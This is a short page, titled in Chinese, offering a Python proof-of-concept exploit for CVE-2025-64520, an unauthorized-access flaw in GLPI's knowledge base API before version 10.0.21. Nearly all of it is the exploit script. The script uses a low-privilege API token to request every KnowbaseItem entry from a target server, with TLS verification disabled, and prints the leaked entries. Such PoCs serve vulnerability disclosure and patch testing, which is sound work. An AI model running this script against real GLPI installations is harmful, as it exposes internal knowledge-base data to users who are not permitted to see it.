CVE-2025-64520 GLPI知识库API未授权访问漏洞

import requests import json # CVE-2025-64520 PoC - GLPI Knowledge Base Unauthorized Access # Target: GLPI < 10.0.21 # Author: Security Researcher TARGET_URL = "http://target-glpi-server" # Replace with target URL API_TOKEN = "your_api_token_here" # Replace with valid API token def exploit_knowledge_base_access(): """ This PoC demonstrates the unauthorized knowledge base access vulnerability in GLPI versions prior to 10.0.21 """ headers = { "Content-Type": "application/json", "Authorization": f"Bearer {API_TOKEN}", "App-Token": "app_token_here" } # Attempt to retrieve all knowledge base entries # The vulnerability allows low-privilege API users to access all entries endpoint = f"{TARGET_URL}/apirest.php/KnowbaseItem" try: # Get all knowledge base items without proper authorization check response = requests.get(endpoint, headers=headers, verify=False) if response.status_code == 200: data = response.json() print(f"[+] Successfully accessed {len(data)} knowledge base entries") print(f"[+] First entry: {json.dumps(data[0], indent=2)}" if data else "No data") return data else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2025-64520 - GLPI Knowledge Base Unauthorized Access") exploit_knowledge_base_access()